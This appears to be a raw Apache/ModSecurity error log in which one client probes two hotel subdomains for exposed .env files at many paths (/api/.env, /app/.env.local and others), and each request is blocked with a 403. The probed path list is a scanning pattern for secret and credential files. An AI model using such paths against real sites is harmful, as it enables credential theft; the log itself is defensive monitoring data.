[Sun Oct 25 04:06:25.707586 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/administrator/.env"] [unique_id "at24gS7GhhaIo05efijDPAAAAAc"]
[Sun Oct 25 04:06:25.743129 2026] [proxy_fcgi:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 04:06:25.767386 2026] [proxy_fcgi:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 04:06:25.793136 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api-backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api-backend/.env"] [unique_id "at24gbQKh4dfs72fmHxwGAAAAAE"]
[Sun Oct 25 04:06:25.793262 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api-backend/.env"] [unique_id "at24gbQKh4dfs72fmHxwGAAAAAE"]
[Sun Oct 25 04:06:25.793512 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api-backend/.env"] [unique_id "at24gbQKh4dfs72fmHxwGAAAAAE"]
[Sun Oct 25 04:06:25.816760 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/administrator/.env"] [unique_id "at24gQLaiqtlZaJBsx4X7wAAAA0"]
[Sun Oct 25 04:06:25.816872 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/administrator/.env"] [unique_id "at24gQLaiqtlZaJBsx4X7wAAAA0"]
[Sun Oct 25 04:06:25.817085 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/administrator/.env"] [unique_id "at24gQLaiqtlZaJBsx4X7wAAAA0"]
[Sun Oct 25 04:06:25.819252 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api-node/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api-node/.env"] [unique_id "at24gS7GhhaIo05efijDPQAAAAc"]
[Sun Oct 25 04:06:25.819385 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api-node/.env"] [unique_id "at24gS7GhhaIo05efijDPQAAAAc"]
[Sun Oct 25 04:06:25.819664 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api-node/.env"] [unique_id "at24gS7GhhaIo05efijDPQAAAAc"]
[Sun Oct 25 04:06:25.820752 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api-backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api-backend/.env"] [unique_id "at24gVTnwNJm6o1fQZIi0gAAAAI"]
[Sun Oct 25 04:06:25.820950 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api-backend/.env"] [unique_id "at24gVTnwNJm6o1fQZIi0gAAAAI"]
[Sun Oct 25 04:06:25.821180 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api-backend/.env"] [unique_id "at24gVTnwNJm6o1fQZIi0gAAAAI"]
[Sun Oct 25 04:06:25.883069 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at24garU4NwppjTEGaL6rgAAAAY"]
[Sun Oct 25 04:06:25.962056 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at24garU4NwppjTEGaL6rgAAAAY"]
[Sun Oct 25 04:06:25.962439 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at24garU4NwppjTEGaL6rgAAAAY"]
[Sun Oct 25 04:06:25.883924 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api-node/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api-node/.env"] [unique_id "at24gdxXWZMI2DaSlsHxUgAAABY"]
[Sun Oct 25 04:06:25.963066 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api-node/.env"] [unique_id "at24gdxXWZMI2DaSlsHxUgAAABY"]
[Sun Oct 25 04:06:25.963321 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api-node/.env"] [unique_id "at24gdxXWZMI2DaSlsHxUgAAABY"]
[Sun Oct 25 04:06:25.905488 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at24gYHtOs-nfC4GshpR0AAAABc"]
[Sun Oct 25 04:06:25.963937 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at24gYHtOs-nfC4GshpR0AAAABc"]
[Sun Oct 25 04:06:25.964167 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at24gYHtOs-nfC4GshpR0AAAABc"]
[Sun Oct 25 04:06:26.607356 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apis/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apis/.env"] [unique_id "at24gqrU4NwppjTEGaL6tQAAAAY"]
[Sun Oct 25 04:06:26.607551 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apis/.env"] [unique_id "at24gqrU4NwppjTEGaL6tQAAAAY"]
[Sun Oct 25 04:06:26.607810 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apis/.env"] [unique_id "at24gqrU4NwppjTEGaL6tQAAAAY"]
[Sun Oct 25 04:06:26.653222 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apis/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/apis/.env"] [unique_id "at24glTnwNJm6o1fQZIi2gAAAAI"]
[Sun Oct 25 04:06:26.685951 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/apis/.env"] [unique_id "at24glTnwNJm6o1fQZIi2gAAAAI"]
[Sun Oct 25 04:06:26.686422 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/apis/.env"] [unique_id "at24glTnwNJm6o1fQZIi2gAAAAI"]
[Sun Oct 25 04:06:26.741745 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at24gp68N771hz7W4KlsbwAAAAw"]
[Sun Oct 25 04:06:26.741869 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at24gp68N771hz7W4KlsbwAAAAw"]
[Sun Oct 25 04:06:26.742138 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at24gp68N771hz7W4KlsbwAAAAw"]
[Sun Oct 25 04:06:26.781613 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at24ggLaiqtlZaJBsx4X-QAAAA0"]
[Sun Oct 25 04:06:26.793673 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at24ggLaiqtlZaJBsx4X-QAAAA0"]
[Sun Oct 25 04:06:26.788457 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env.local"] [unique_id "at24grQKh4dfs72fmHxwIQAAAAE"]
[Sun Oct 25 04:06:26.830226 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env.local"] [unique_id "at24grQKh4dfs72fmHxwIQAAAAE"]
[Sun Oct 25 04:06:26.830531 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env.local"] [unique_id "at24grQKh4dfs72fmHxwIQAAAAE"]
[Sun Oct 25 04:06:26.793532 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env.local"] [unique_id "at24goHtOs-nfC4GshpR2QAAABc"]
[Sun Oct 25 04:06:26.863199 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env.local"] [unique_id "at24goHtOs-nfC4GshpR2QAAABc"]
[Sun Oct 25 04:06:26.863726 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env.local"] [unique_id "at24goHtOs-nfC4GshpR2QAAABc"]
